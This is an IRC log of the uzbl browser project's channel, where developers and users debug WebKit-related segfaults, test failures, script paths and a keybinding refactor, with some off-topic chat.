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23:29 < axionix> can someone test my youtube script before i post it to the wiki please?
23:31 < m00nblade> sure, just post the link
23:31 < axionix> http://pastebin.com/fa33bf23
23:34 < axionix> set load_finish_handler = spawn $XDG_DATA_HOME/uzbl/scripts/ytvp.sh $4 $6
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23:39 < m00nblade> it works great for me. (i'm using uzbl-experimental)
23:39 < axionix> awesome. i didnt test it yet with experimental
23:39 < axionix> thanks
23:47 < kick52> un.
23:47 < kick52> fucking.
23:47 < axionix> dieterbe_: i forgot the email address i registered on the wiki with :( password was emailed somewhere i dont know about
23:47 < kick52> believeable.
23:47 < kick52> urxvt DOES obey boldfont shit
23:47 < kick52> but only if you specify size!
23:48 < kick52> IT TOOK ME TWO FREAKING HOURS AGGGHHH
23:48  * kick52 RAGES and explodes with joy at the same time
23:56 < axionix> figures...uzbl.org and its daily downtime when in the middle of posting to the wiki
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00:01 < Dieterbe_> rob|: 
00:01 < Dieterbe_> set scripts_dir    = $XDG_DATA_HOME/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts
00:02 < Dieterbe_> shouldn't that be : $XDG_DATA_HOME/uzbl/scripts:/usr/local/share/uzbl/examples/data/uzbl/scripts:scripts ?
00:03 < Dieterbe_> i noticed this because of:
00:03 < Dieterbe_> error on run_command: Failed to execute child process "./examples/data/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts/scheme.py" (No such file or directory)
00:03  * Dieterbe_ off. i'll talk to you guys later
00:04 < Dieterbe_> tip: remove uzbl packages on your system, then make test-dev-browser should still work fine ;)
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00:15 < axionix> hey guys have fun and let me know what you think: http://www.uzbl.org/wiki/ytvp
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00:25 < fnerd> hey there
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00:28 < fnerd> It looks to me like there some source code is missing: The logo - it's just a dirty bunch of pixels. I did some reverse engineering to change that. Now, where can I put that SVG stuff I created?
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00:32 < bct> hehe :)
00:34 < bct> i don't know. is there a bitmap logo included with the actual browser?
00:34 < bct> or just on the website?
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00:42 < fnerd> at least a small PNG file is there in the source code zip archives
00:43 < bct> would make sense to have it in the same place i guess
00:44 < fnerd> well, I can't get it there myself...
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00:44 < axionix> forkity fork fork
00:45 < fnerd> maybe I should post it to the mailing list or something...
00:46 < axionix> just send a pull request
00:46 < fnerd> axionix: oh, yes - I heard git is a distributed version control system... :-D
00:46 < bct> yeah, mailing list would be good too.
00:47 < fnerd> pull request?
00:47 < axionix> fork main repo, makechanges, send pull request, eventually dieterbe merges into experimental
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00:54 < fnerd> axionix: I think I won't do that myself - but I could send you that stuff if you want... :-)
00:54 < axionix> better post to ML then
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01:01 < fnerd> :-)
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02:36 < lithis7> Is it possible to disable the minimum font size, allowing arbitrarily small text? When I zoom the page very small, the text stops shrinking.
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02:42 < christophe-marie> Just in case anybody did not notice : last uzbl segfaults
02:43 < christophe-marie> I just cannot lauch it
02:43 < christophe-marie> 0x00007ffff41bc394 in g_main_context_prepare () from /usr/lib/libglib-2.0.so.0
02:43 < christophe-marie> (running x86_64 with latest git)
02:44 < christophe-marie> I'll come back tomorrow to give more infos
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04:14 < axionix> anyone ever experience xorg completely freezing when visiting a url with uzbl?
04:18 < axionix> i thought it was dwm, until it happened on xmonad too
04:18 < axionix> i'm going to try the experimental branch...its pretty common that i have to restart X with uzbl
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04:22 < bct> that's freaky. i've never had that.
04:23 < bct> i sometimes have random x freezes, but they happen even without uzbl.
04:25 < axionix> hmm strange
04:25 < axionix> its always during the load handlers
04:25 < axionix> like as soon as i type 'o uzbl.org'
04:26 < axionix> and its not reproducable...seems random.
04:26 < axionix> but still happens multiple times per day
04:28 < bct> that's very weird.
04:28 < bct> do you know if it happens with other webkit browsers?
04:40 < axionix> bct: negative
04:40 < axionix> i use midori when i get pissed at uzbl's freezing
04:41 < bct> do you get anything interestingin your X log?
04:42 < axionix> im not sure if this is it or not:
04:42 < axionix> uzbl: Fatal IO error 11 (Resource temporarily unavailable) on X server :0.0.
04:46 < bct> i don't know wtf, or even where to start tracking it down.
04:47 < bct> i can't think of anything that uzbl does that's interesting and/or bizarre enough to cause that
04:47 < axionix> probably a script then
04:48 < axionix> i'll try experimental
04:49 < bct> yeah, it's worth a shot
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05:01 < axionix> yitz_: it just spawned 2 copies of mplayer somehow
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05:21 < lithis7> Do mod key states get stuck in WMs other than xmonad? If I press Super+Tab to switch focus away from uzbl (experimental), uzbl never gets the key-release event for Super and thinks it’s held down after you release it.
05:23 < lithis7> Also, if I press Alt and Control, then release Control, the <Alt> string in the status bar disappears.
05:31 < bct> lithis7, yes.
05:32 < bct> it's a known issue. robm and mason-l were working on it, the fix might be in one of their experimental branches
05:37 < lithis7> Also, I’ve noticed some idle instances of uzbl-browser stop responding to keypresses entirely after a while.
05:38 < lithis7> I had two uzbls open to uzbl.org, and now neither of them respond. The mouse works, though. The on_resize script is not called, either.
05:40 < bct> hmm, i've encountered that before too. it hasn't happened recently
05:40 < bct> another unexplained quirk :/
05:40 < bct> uzbl-core seems to lose its connection to the event manager.
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05:58 < mason-l> Thats also being worked on.
05:58 < mason-l> Hey guys,
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06:07 < bct> any idea what causes it?
06:07 < bct> it's weird.
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06:37 < bct> i need to stop calling things weird, it's the most useless classification of a bug ever
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06:53 < sykora> Hi, I just installed uzbl through the uzbl-git package on AUR, and it segfaults right out of the box. Are there any known issuse or something I should know about?
07:05 < bct> the latest version of webkit (1.1.15 i think?) is busted.
07:07 < bct> if you downgrade it it should work
07:08 < sykora> Then it's a known issue? I should downgrade webkit?
07:08 < sykora> oh, ok
07:09 < sykora> Yes, I have libwebkit 1.1.15. Now I need to find out how to downgrade it.
07:09 < bct> i know nothing about arch, sorry.
07:13 < sykora> 1.1.15-3 is broken, downgrading to 1.1.15-2 fixes it
07:13 < sykora> Thanks
07:13 < bct> np.
07:23 < sykora> Another issue, uzbl_tabbed script never seems to work for me, it says loading in the bar up the top, but never finished loading.
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08:31 < lich> mornin'
08:38 < bct> standard greetings really don't work well on global networks :/
08:38 < bct> but it's technically the morning here, so good morning :)
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08:53 < bct> aha!
08:54 < bct> for future reference: if WebInspector just displays a bunch of html, it might be because you don't have shared-mime-info installed.
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09:30 < rob|> morning.
09:31 < bct> hello hello.
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09:32 < bct> any idea what causes uzbl-core to lose its connection to the event manager?
09:32 < rob|> this happens again?
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09:33 < bct> yes, to lithis7 and to me a couple of times tonight
09:33 < rob|> wel,  i removed the previous "fix" as it didn't look right too me. migt be the cause
09:33 < rob|> *to
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09:58 < rob|> oh, actually i put it back in. so i'm not really sure what might cause the connection loss
10:06 < mason-l> rob|, Can we get a LOST_CONNECTION <socket> event so that.. oh wait. I was about to suggest '@on_event LOST_CONNECTION set status_message = lost connection' but that will not work without an EM.
10:06 < mason-l> :)
10:09 < rob|> yep, exactly
10:09 < L29Ah> uzbl segfaults when i'm trying to open ~60mb png :(
10:19 < bct> that's a big png.
10:21 < L29Ah> WONTFIX?
10:24 < rob|> L29Ah: such things are webkit related
10:24 < rob|> L29Ah: you might want to run uzbl in gsb and submit a bugreport+backtrace to the webkit guys
10:25 < rob|> *gdb
10:25 < L29Ah> hm
10:25 < L29Ah> you're right, midori segfaults too
10:26 < rob|> webkit had quite a few segfault issues lately :(
10:27 < bct> kind of disappointing, it should be pretty straightforward to avoid segfaults.
10:28 < rob|> yeah indeed, though one of the webkit devs admitted not to have run the testsuite before the release :(
10:29 < bct> oh dear.
10:29 < bct> what's the point of a test suite if you don't run it?
10:31 < rob|> well, such things can happen we're all human after all ;)
10:31 < rob|> btw, our test suite also has some bugs as it tries to use some non-existant symbols
10:35 < bct> yes, it's fixed in my branch
10:35 < bct> i send a pull request to the list but it was ignored :(
10:35 < rob|> ah, i see. you also fixed the Makefile?
10:35 < bct> yup.
10:35 < rob|> ok, let's see
10:36 < bct> git://github.com/bct/uzbl.git master branch.
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10:46 < rob|> bct: ok, thanks. applied to my experimental
10:46 < bct> :D thanks
10:47 < bct> Uzbl.run is supposed to work in 'script's right?
10:47 < bct> (the test fixes work, right?)
10:47 < rob|> yeah, in JS
10:48 < rob|> they do work
10:48 < rob|> but ASSERT_EVENT(ef, "VARIABLE_SET zoom_level float 0.250000"); fails
10:49 < hrabbit> hello #uzbl
10:50 < bct> why does it fail? floating point precision?
10:50 < bct> hello hrabbit
10:50 < rob|> might be a locale based conversion issue, not sure
10:51 < bct> it should display the actual result, right?
10:51 < rob|> it does, though the values are different:
10:51 < rob|> ERROR:test-command.c:167:test_set_variable: assertion failed ("EVENT [" INSTANCE_NAME "] " "VARIABLE_SET zoom_level float 0.250000" "\n" == ef->event_buffer): ("EVENT [testing] VARIABLE_SET zoom_level float 0.250000\n" == "EVENT [testing] VARIABLE_SET zoom_level float 0,000000\n")
10:52 < hrabbit> New to uzbl, was hoping somebody could give a little advice.
10:52 < bct> i guess the locale thing is part of it (hadn't thought about that), but it shouldn't say 0,0
10:52 < bct> we can attempt hrabbit :)
10:53 < hrabbit> bct, appreciated, always a start
10:53 < hrabbit> I had it running 2 days ago.. was just getting into it.. loved it plenty! Then I did a pacman -Syu and it segfaults everytime now :(
10:53 < rob|> bct: does it work for you?
10:54 < rob|> Dieterbe_: you should write a short warning webkit 1.1.15.3 flawed on the website
10:54 < rob|> hrabbit: yeah, known issue bug in the newest webkit. downgrade to 1.1.15.2
10:54 < bct> rob|, yup.
10:55 < hrabbit> rob|, thanks, I'll do that.
10:55 < rob|> bct: ok that it must be a locale thing
10:55 < bct> the 1.1.15.3 thing has been coming up a lot.
10:55 < rob|> *then
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10:56 < bct> it should be 0,250000 though, not 0,000000
10:57 < bct> unless you do things *really* differently in europe :P
10:57 < rob|> bct: sure, but with "LC_ALL=C make tests" it passes all test
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10:58 < bct> what's your locale? i'll try it here
10:58 < rob|> de_DE.UTF-8
10:58 < hrabbit> rob|, bct: both legends!!!!! worked like a charm!
10:59 < bct> :)
10:59 < bct> blah, guess i don't have that locale installed.
10:59 < rob|> well, just generate it
11:00 < rob|> vi /etc/locale.gen
11:00 < rob|> $ locale-gen
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11:01 < rob|> anyways, you added a couple of nice tests there
11:02 < bct> huh, same thing. weird.
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11:03 < rob|> strange, yeah
11:03 < bct> yeah, i'm hoping to expand the tests to cover as much as possible. make them a totally standard part of uzbl.
11:04 < rob|> right, that would be nice
11:06 < rob|> so i'll push this to dieter's experimental
11:07 < rob|> ...done.
11:10 < Dieterbe_> good morning guys
11:11 < rob|> hey dieter
11:12 < rob|> Dieterbe_: are you going to add a news entry for the latest commits to the website?
11:12 < rob|> Dieterbe_: if so be sure to also add a notice about the current webkit issue
11:13 < Dieterbe_> yes, i was plannning to, but not right now
11:13 < Dieterbe_> maybe i should put up a notice right now just for the segfaults with webkit 1.1.15.3
11:13 < rob|> yeah
11:14 < Dieterbe_> btw are you sure 1.1.15.2 is fine? is there a ticket somewhere @ webkit tracker?
11:14 < rob|> yeah, it's fine. not sure about the ticket, though
11:14 < rob|> probably there is one
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11:16 < bct> several people that asked about segfaults in .3 have said that .2 is ok.
11:16 < bct> so i think it's fine.
11:18 < Dieterbe_> EVENT [29360131] LOAD_ERROR http://omgwtfaeuth.com/ 2:Cannot resolve hostname
11:19 < Dieterbe_> awesome. we should put errors like those in the statusbar in the default config
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11:23 < rob|> Dieterbe_: yeah, that's easily done with @on_event
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11:38 < Dieterbe> my internets is the suck lately
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11:45 < bct> good night fellows
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11:48 < Dieterbe> night (?) bct 
11:49 < bct> it's weird being the only north american in the channel :)
11:49 < Dieterbe> really? i didn't know.
11:49 < Dieterbe> most pagevisits on uzbl.org is from north america. same for my blog
11:50 < bct> i'm sure there are more, but the core seems to be mostly european
11:50 < bct> at least you all go to bed while i'm still at work...
11:50 < Dieterbe> :D
11:51 < Dieterbe> now you mention it.. heh
11:51 < Dieterbe> 00:01:54 < Dieterbe_> rob|: 
11:51 < Dieterbe> 00:01:56 < Dieterbe_> set scripts_dir    = $XDG_DATA_HOME/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts
11:51 < Dieterbe> 00:02:12 < Dieterbe_> shouldn't that be : $XDG_DATA_HOME/uzbl/scripts:/usr/local/share/uzbl/examples/data/uzbl/scripts:scripts ?
11:51 < Dieterbe> 00:03:10 < Dieterbe_> i noticed this because of:
11:51 < Dieterbe> 00:03:12 < Dieterbe_> error on run_command: Failed to execute child process "./examples/data/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts/scheme.py" (No such file or directory)
11:51 < Dieterbe> 00:03:57  * Dieterbe_ off. i'll talk to you guys later
11:51 < Dieterbe> 00:04:13 < Dieterbe_> tip: remove uzbl packages on your system, then make test-dev-browser should still work fine ;)
11:56 < rob|> Dieterbe: no, don't think so
11:57 < rob|> i mean it works for all other scripts
11:57 < rob|> odd
12:01 < mason-l> I've always had that 'Failed to execute child process' with scheme.py
12:01 < mason-l> Dieterbe, But its not the 'set scripts_dir = ...'.
12:03 < Dieterbe> hmm
12:03 < Dieterbe> set scheme_handler     = spawn @scripts_dir/scheme.py
12:03 < mason-l> '$XDG_DATA_HOME/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts/scheme.py' becomes ['$XDG_DATA_HOME/uzbl/scripts/scheme.py', '/usr/local/share/uzbl/examples/data/uzbl/scripts/scheme.py']
12:03 < Dieterbe> is this even used, still?
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12:04 < mason-l> I don't use it yet but I'd imagine it is useful.
12:04 < mason-l> holizz added it.
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12:04 < github> uzbl: Dieter Plaetinck experimental SHA1-75aab0c
12:04 < github> overdue changes to .gitignore since uzbl-core splitup and Makefile changes
12:04 < github> http://bit.ly/OsZLD
12:04 < Dieterbe> i meant: shouldn't we port it to the EM
12:04 < github> uzbl: Dieter Plaetinck experimental SHA1-d4409d9
12:04 < mason-l> brb
12:05 < github> Merge branch 'experimental' of github.com:Dieterbe/uzbl into experimental
12:05 < github> http://bit.ly/4rPiRx
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12:06 < rob|> Dieterbe: are you goinf to add the error message to the statusbar or do you want me to do it?
12:08 < Dieterbe> rob|: i suggest to not do it, people interested in getting into hacking/submitting patches for uzbl can do it
12:08 < rob|> ok
12:10 < Dieterbe> so, shouldn't we EM-plugin-ize the scheme handler?
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12:11 < rob|> brb, food
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12:59 < christophe-marie> Hi! Is it planned to add some build system for uzbl?
13:00 < christophe-marie> Currently there's only a Makefile
13:01 < Dieterbe> what problem are you trying to solve?
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13:18 < mason-l> <Dieterbe> so, shouldn't we EM-plugin-ize the scheme handler?
13:19 < mason-l> Its easily accomplished, I'll add it tonight.
13:19 < lich> and my borders? :P
13:19 < Dieterbe> fuck the border!
13:19 < Dieterbe> (propagandhi song)
13:19 < mason-l> But thats not really a solution, I would like to find out why it doesn't work.
13:19 < lich> tochy bloke :)
13:19 < lich> touchy*
13:20 < Dieterbe> mason-l: yeah indeed
13:22 < mason-l> http://www.youtube.com/watch?v=E0wbLaMXeu4 :O
13:22 < mason-l> Oh goddam, I want to trade in my G1 for the n900
13:23 < mason-l> But I'm stuck in a 2 year contract.
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13:36 < rob|> oh, do you also see scrollbars with dieter's last commits?
13:40 < rob|> i guess this is related to one of keis' patches
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13:50 < rob|> shit, something broke
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13:58 < rob|> ok, found the error
14:00 < rob|> and restored the old behaviour, also pushed to you dieter
14:00 < rob|> keis: please be sure to test such things in the future
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14:16 < rob|> btw, we are now also able to get to the source of a page without having to use JS
14:16 < rob|> so we could populate an uzbl variable with the data
14:17 < mason-l> rob|, I don't think thats a good idea.
14:17 < rob|> why not?
14:18 < mason-l> Because sites that use js/ajax to insert/delete/modify page elements technically change the source right?
14:18 < mason-l> Would it be updated every time that occurs or will it only store the original source.
14:18 < mason-l> And how do we store \n's in a uzbl variable.
14:18 < rob|> well, it would get the source as it is used to display the page
14:19 < rob|> oh, you can store \n without a problem and it will also be shown correctly
14:20 < mason-l> How would we do that? Replace \n with \\n ?
14:20 < rob|> are you talking about sending html to uzbl?
14:21 < mason-l> No I thought we are still talking about storing the source of a page inside a uzbl custom variable.
14:21 < rob|> right
14:21 < rob|> so i'm not sure what the \n issue is that you are seeing?
14:22 < rob|> an uzbl variable can hold anything up to the first \0
14:22 < mason-l> or \n
14:22 < mason-l> Well from the config at least
14:23 < rob|> no
14:23 < rob|> yeah from the config that's true
14:23 < rob|> for the config it's just a problem of parsing and being able to detect the end of input
14:24 < rob|> how would you do that without a special end marker?
14:24 < rob|> in code it#s easy as the end marker is \0 for C strings by definition
14:25 < mason-l> So where will this source be kept; in a normal variable 'page_source' or a read-only 'PAGE_SOURCE'?
14:26 < rob|> read only probably
14:26 < mason-l> Is the EM going to get updates each time the source code of the page changes?
14:26 < mason-l> Ok, thats the better option.
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14:28 < rob|> so:  echo 'print @PAGE_SOURCE' | socat unix-connect:socket - | process_the_source
14:28 < rob|> or something like that
14:29 < rob|> not sure wether we really need that, though as we can do the very same thing with a simple JS call
14:31 < mason-l> So whats the preferred method of injecting html into uzbl to display at the moment?
14:31 < mason-l> We got rid of that html_mode stuff didn't we?
14:31 < rob|> either "set inject_html = foo" or using data source uris
14:32 < rob|> as described here: http://www.uzbl.org/wiki/html-mode
14:34 < mason-l> Ok, awesome.
14:35 < mason-l> Sounds like a good idea rob|
14:37 < rob|> well, i'll put this on my to remember list
14:38 < mason-l> I've got to remember to make one of those.
14:38 < rob|> hehe
14:47 < lich> using -tabbed here, can I open a link in a backgrounded tab?
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15:23 < rob|> lich: did you actually read the docs?
15:23 < rob|> lich: http://www.uzbl.org/wiki/uzbl_tabbed
15:23 < lich> kinda, guess I should reread :)
15:23 < lich> thanks
15:23 < rob|> sure
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18:29 < rob|> haha, all glory to the hypnotoad
18:30 < mason-l> http://www.youtube.com/watch?v=THNPmhBl-8I <- I love this show.
18:31 < lich> wow evince can open .djvu files
18:31 < lich> awesome
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18:34 < bct> Dieterbe, you know propagandhi?
18:34 < bct> i'm going to see them tonight :D
18:34 < rob|> mason-l: nice :)
18:35 < mason-l> rob|, You'll like these too: http://www.youtube.com/watch?v=SO5WoLnOOlU http://www.youtube.com/watch?v=LS_Uvg56U_o http://www.youtube.com/watch?v=Xfqht0LEOWQ
18:36 < scj> that mitchell and webb look show is pretty hit and miss, but peep show is awesome
18:36 < mason-l> These guys are modern day Pythons :)
18:37 < mason-l> Peep show was awesome!
18:37 < mason-l> I mean is. Is still awesome.
18:37 < lithis> Does anyone know why the smallest I can set minimum_font_size to is 5? Anything smaller does not look any different than 5.
18:39 < lithis> rob|: I was playing with your dynzoom script. It’s pretty cool, except for the font size being too large at small sizes.
18:39 < ruskie> lithis, probably a restriction of webkit
18:40 < rob|> well, 5pt i pretty small already
18:40 < keis> rob|: I don't beleive my code touches the scolls. what commit are you talking about?
18:41 < lithis> Yeah, 5pt is small, but I don’t intend for a tiny window to be readable.
18:41 < rob|> keis: well, i pulled in quite a lot of stuuf, so i thought i might have been your code that rearranged the from main to initialize()
18:41 < bct> rob|, that was me.
18:41 < bct> it should be fixed in the code you pulled last night though
18:41 < rob|> keis: ok, sry keis
18:42 < ruskie> lithis, why not use the zoom feature to get a tiny window?
18:42 < rob|> bct: nope wasn't fixed. did it manually, though
18:42 < ruskie> specifically the other type of zoom
18:42 < ruskie> that zooms everything
18:42 < lithis> ruskie: I am using the zoom feature. Neither mode lets the font size get smaller than 5pt.
18:43 < keis> oh good, got a little worried there :P
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18:43 < rob|> keis: yeah, my bad. after all this merging i wasn't that sure who did what
18:45 < rob|> anyways, good work from all contributers so far :)
18:45 < rob|> i guess mason is still hard at work..
18:46 < lithis> uzbl with dynzoom in a spiral layout: http://omploader.org/vMm0wcA .
18:47 < rob|> lich: nice! you could add a command to hide the statusbar to the script as well, would look even better imo
18:48 < rob|> ^^ lithis
18:48 < bct> sorry about that. i had fixed it locally, i'm not sure why you didn't get it when you pulled
18:48 < keis> oh wow, i luv fibonacci :D
18:49 < lithis> Yeah, I was thinking that.
18:50 < lich> err, what is that thing? it;s xmonad's spiral or is that implemented in uzbl?
18:51 < lithis> The window layout is xmonad’s spiral, but the zooming is done automatically in uzbl based on the window width.
18:51 < bct> oh, somehow i ended up commiting to (no branch).
18:58 < rob|> yeah, you probably didn't create the branch you committed to locally
18:59 < bct> your fix broke the tests though. and in shuffling my branches around i seem to have lost my fix...
18:59 < rob|> git can be confusing
18:59 < rob|> odd :(
18:59 < bct> i didn't even know you could commit to a nonexistant branch, or how i got on it in the first place
19:03 < rob|> lithis: would love to see a shot of your spiral+dynzoom on the wiki, if possible without statusbars on the small windows
19:07 < lithis> Ok, I’ll work on that. (I’ll put it on the xmonad wiki, too.)
19:08 < lithis> It’s fun to watch two size-by-side windows scale inversely as the width of the master area is changed. I might make an animated GIF of that.
19:09 < lich> is a spiral layout such a new thing around here? I find it to be one of the most useless layout types out there :'(
19:09 < rob|> lich: not new, but pretty cool
19:10 < lithis> I’ve used it occationally for a couple years.
19:10 < lich> well, whatever suits you, I find it useless and anoying. But then again, I find dynamic tiling awful alltogether
19:10 < lithis> But I’ve been waiting for the ability to scale windows smaller since I first started xmonad--I figured I would have to wait for compositing support.
19:11 < rob|> not at all, after having to work on windows i appreciate dynamic tiling even more
19:11 < lich> again, whatever suits you :)
19:12 < lich> I love having a mplayer window open in a small corner now, nothing moves it, it just sits there while I have other stuff open around it :(
19:12 < lich> nothing disturbs me unless I tell it to do so :D
19:13 < rob|> well, watching videos and working at the same time is kinda orthogonal
19:13 < lithis> I hate using Windows now that I use xmonad.
19:13 < lithis> You can do that in xmonad by ignoring the window in your config.
19:13 < lich> lithis: ignore it? can you make a frame in xmonad that sits there without any resize etc, but taht is still managed by the WM>?
19:14 < rob|> sure, layout combinators
19:14 < lithis> I think ignored windows are not managed (I’ve never done it myself), but they don’t move or resize.
19:14 < lich> I don;t want to unmanage it, I still want access to it from the wm
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19:14 < lich> I doubt what I'm doing with Ratpoison can be done with xmonad
19:14 < lich> or any other tiler apart from stumpwm
19:15 < lithis> Floating windows don’t generally move or resize, and they’re managed.
19:15 < lich> it;s not floating
19:15 < lich> it;s tiled
19:15 < rob|> well, i for myself don't need static layouts
19:15 < lich> I rarely use floats
19:15 < lithis> Oh, I see your point. I rarely use floats, as well.
19:15 < lich> beeing tiled would mean that other frames get behind it, that's a bad thing :)
19:16 < lithis> Is ratpoison manually tiling? I used to use ion, but never tried ratpoison.
19:16 < lich> can't wait for gimp 2.8, finally it's MDI!, one huge window, everything opens in it..best news for ratpoison users since the new logo :D
19:16 < lich> lithis: it is manual yes
19:17 < lich> actually, best news since xft
19:19 < bct> i hate mdi.
19:19 < bct> particularly in a powerful wm.
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19:20 < lich> really? that's odd
19:20 < lich> this is what I despise more about OSX, no MDI
19:20 < lich> if I had a nickle for every time I miss-clicked in photoshop...I'd buy freenode and do a /kill on #ubuntu
19:21 < bct> if you're using a tiling wm, why would you want applications to do their own window management?
19:21 < lich> bct: because GIMP is terrible with ratpoison
19:21 < lich> since most of teh time I'm in fullscreen...
19:21 < bct> since they'll never do it as good as a real wm
19:21 < lich> my workaround was to use dedicated windows
19:22 < lich> or to run a temporary wm like evilwm to get floating
19:22 < lich> (this from ratpoison, without restarting X)
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19:25 < lithis> lich: What’s so bad about it? In ion, I had one large tabbed pane with images in it, and two panes at the side with the tool windows.
19:26 < lich> lithis: I do the same, but I have to make the frame that holds the images dedicated, or else if it's selected, the colors dialog or whatnot would open over the image
19:26 < lich> so I had to switch frames etc...this will be great if it would be MDI, and it will be, so I can;t wait
19:36 < bct> rob|, i've fixed the scrollbar test and that locale problem.
19:39 < rob|> bct: ah, very cool. will pull in later, though.  need to run in a couple of mins..
19:39 < mason-l> rob|, Will you be on later tonight?
19:40 < rob|> mason-l: yeah certainly, in 5-6 hours
19:40 < mason-l> Ok, I'll probably be asleep in 4-5. I will just leave you a message.
19:42 < rob|> ok
19:46 < keis> hey mason-l, have you looked at my EM-code? any comments?
19:47 < mason-l> keis, Yeah and I've pulled it in. I'm just making my own changes to go along with it. I should have a merge pushed to my experimental in a few hours.
19:48 < keis> sweet :)
19:49 < keis> btw, what's the purpose of the filter in bind. I disabled them to get multistage working with my changes :/
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19:54 < mason-l> I've got it working on my end.
19:54 < mason-l> Filter filters out all binds that don't meet the first bind level requirements.
19:55 < mason-l> But I like your changes adding in global binds into the filtered list.
19:55 < lich> filter filters?
19:55 < mason-l> The filter function filters...
19:55 < keis> ah no, was thinking of the function
20:00 < keis> that's called from match(... when the binds don't match the input
20:00 < mason-l> You mean match_and_exec(..)?
20:01 < keis> yes, thats the one.
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20:03 < mason-l> The filter function is used to remove binds mid-depth. While the script could probably run alright without the filtering it speeds up bind-matching.
20:03 < mason-l> (If theres a lot of multi-stage bindings)
20:03 < mason-l> (With similar starting components)
20:06 < mason-l> Did rob| ever introduce that stripping token?
20:06  * mason-l could use it right about now.
20:06 < keis> right, maybe it's a side effect of my changes. but over here it got called for all binds in the level.
20:07 < mason-l> keis, Rest easy, I've got it fixed :)
20:08 < lich> where's my border? :P
20:09 < mason-l> lich, One thing at a time.
20:09 < keis> hehe, good. what else do you have in store in (on?) your branch?
20:09 < lich> mason-l: of course, mine should be your last concern anyway :)
20:13 < mason-l> keis, I'm going to run over my diff then push, you can have a peek then ;)
20:14 < keis> kk
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20:51 < mason-l> keis, Want to give it a test run?
20:51 < mason-l> I've pushed your commits and mine.
20:54 < keis> I'll give it a run if a get it to build on my laptop, ubuntu tend to not work like I want it to
20:55 < Dieterbe> bct: yeah. they have some great songs. (ik love the todays empires, tomorrows ashes album)
20:56 < mason-l> Dieterbe, Can you also test out my experimental and report on any problems (if there is any) with the new keycmd/bind system?
20:58 < Dieterbe> mason-l: Hmm i'm still trying to actually make `make test-dev-browser` work
20:59 < mason-l> It doesn't work for you?
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21:03 < Dieterbe>  mason-l> http://www.youtube.com/watch?v=THNPmhBl-8I <- I love this show. <--funny, it's so predictable, yet fun to watch
21:03 < mason-l> Dieterbe, I've got all their works, I love them to death.
21:03 < Dieterbe> mason-l: that's correct. it just hangs. until i press ^d (i just found that out by trying) then i get a uzbl window
21:03 < mason-l> Dieterbe, Whats it hanging on?
21:03 < Dieterbe> hold on
21:04 < Dieterbe> http://sprunge.us/FjcF
21:04 < Dieterbe> that's all i guess until i press ^d
21:06 < mason-l> Dieterbe, Try a fresh clone of git://github.com/mason-larobina/uzbl.git
21:06 < Dieterbe> exactly the same problem
21:10 < mason-l> Can you try a make install?
21:12 < Dieterbe> make install + PATH="$PATH:/usr/local/bin/" uzbl-browser works 
21:12 < mason-l> Dieterbe, Somethings wrong on your end. There is no such string "Init eventhandler" in event_manager.py
21:15 < Dieterbe> hmm
21:15  * Dieterbe puts on the detective hat
21:15 < Dieterbe> oooh
21:15 < Dieterbe> /home/dieter/.local/share/uzbl/scripts/event_manager.py:    echo ("Init eventhandler")
21:16 < mason-l> L
21:16 < mason-l> :D
21:16 < Dieterbe> well. `make test-dev-browser` should really be independent of the environment, and should only run the scritps/tools inside the dev directory
21:16 < mason-l> I thought it was...
21:16 < mason-l> Its news to me also :)
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21:17 < Dieterbe> your "path expansion" thing probably prefers $XDG_DATA_HOME over ./...
21:17 < mason-l> It does but $XDG_DATA_HOME is ./examples/data/
21:17 < mason-l> So thats a moot point.
21:17 < Dieterbe> oh, right
21:18 < mason-l> Actually uzbl-daemon is probably causing the problem
21:18 < mason-l> It doesn't check in $XDG_DATA_HOME first.
21:19 < Dieterbe> aha. indeed
21:20 < Dieterbe> oh and btw, after doing make install make test-dev-browser does work. probably a side-effect of the fact that correct working of `make test-dev-browser` depends on uzbl being installed/configured for real ;)
21:22 < Dieterbe> mason-l: okay so anyway. i will play a bit with this and test out some stuff, such as your binding stuff
21:22 < Dieterbe> shall i fix uzbl-daemon or do you want to do it, mason-l ?
21:23 < mason-l> I've just fixed it myself.
21:23 < mason-l> Pushing in a sec.
21:28 < mason-l> Dieterbe, Pushed.
21:29 < Dieterbe> good :)
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21:51 < mason-l> keis, Did it build for you?
21:52 < keis> no. ubuntu has a ancient webkit build :/
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22:52 < axionix> keywordsBm.py randomly freezes X when loading a URL
22:52 < axionix> it should be taken down :)
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23:48 < Dieterbe> [D/away dodo
23:48 < Dieterbe> oops
23:48 < Dieterbe> night all
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09:36 < rob|> morning.
09:40 < bct> hello rob.
09:40 < bct> it is a good morning indeed.
09:44 < bct> *_handler don't seem to do an expand when they fire. do you agree that they should?
09:44 < rob|> yeah, they should indeed
09:45 < bct> can you think of anything else that doesn't?
09:45 < bct> it's the only inconsistency i've encountered recently.
09:47 < Dieterbe> good morning guys
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09:54 < bct> sup dieter?
09:54 < lich> mornin
09:54 < lich> BORDERS!
09:57 < rob|> mason_l: tested your latests keycmd/bind commit which work pretty well, though there is only one issue left, does this work for you:  @bind <Ctrl>p = event SET_KEYCMD \@(xclip -o)\@
09:58 < lich> and also borders
09:59 < rob|> for borders i'd just stick to what we have and rather use gtk themes to style them
10:00 < kick52> yay, urxvt+uzbl :D
10:01 < bct> good night dudes and dudettes.
10:01 < Dieterbe> night bct 
10:03 < rob|> night bct
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10:13 < rob|> mason_l: also typing '@' doesn't seem to work anymore
10:13 < lich> yeah, and tab borders don't work :D
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10:36 < rob|> hmm, the new keycmd is confusing
10:40 < rob|> mason_l: also with the default config, try 'o' and type something starting with a 'b', this won't work as the 'b' binding will kick in
10:41 < rob|> strange enough it does work if you type something else, delete with "Backspace" and then start with a'b'
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10:42 < rob|> so i would suggest to revert the commit, and rather dispense with keycmd editing in favour of consistent keycmds
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11:55 < lich> gdb is so much fun
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13:03 < keis> rob|: looks like it was introduced by masons refactoring, line 191 should have a "and mod_cmd" to match my code
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13:03 < keis> line 191 of bind.py that is
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14:37 < adisbladis> Has anyone successfully set their modkey to control?
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14:53 < mason_l> rob|, Whoops! I forgot to check (when allowing 'global' commands) that the command is actually a modcmd.
14:53 < mason_l> Thats whats missing.
14:53 < lich> that, and borders :D
14:53 < mason_l> Goddam.
14:53 < lich> :))
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15:01 < rob|> back.
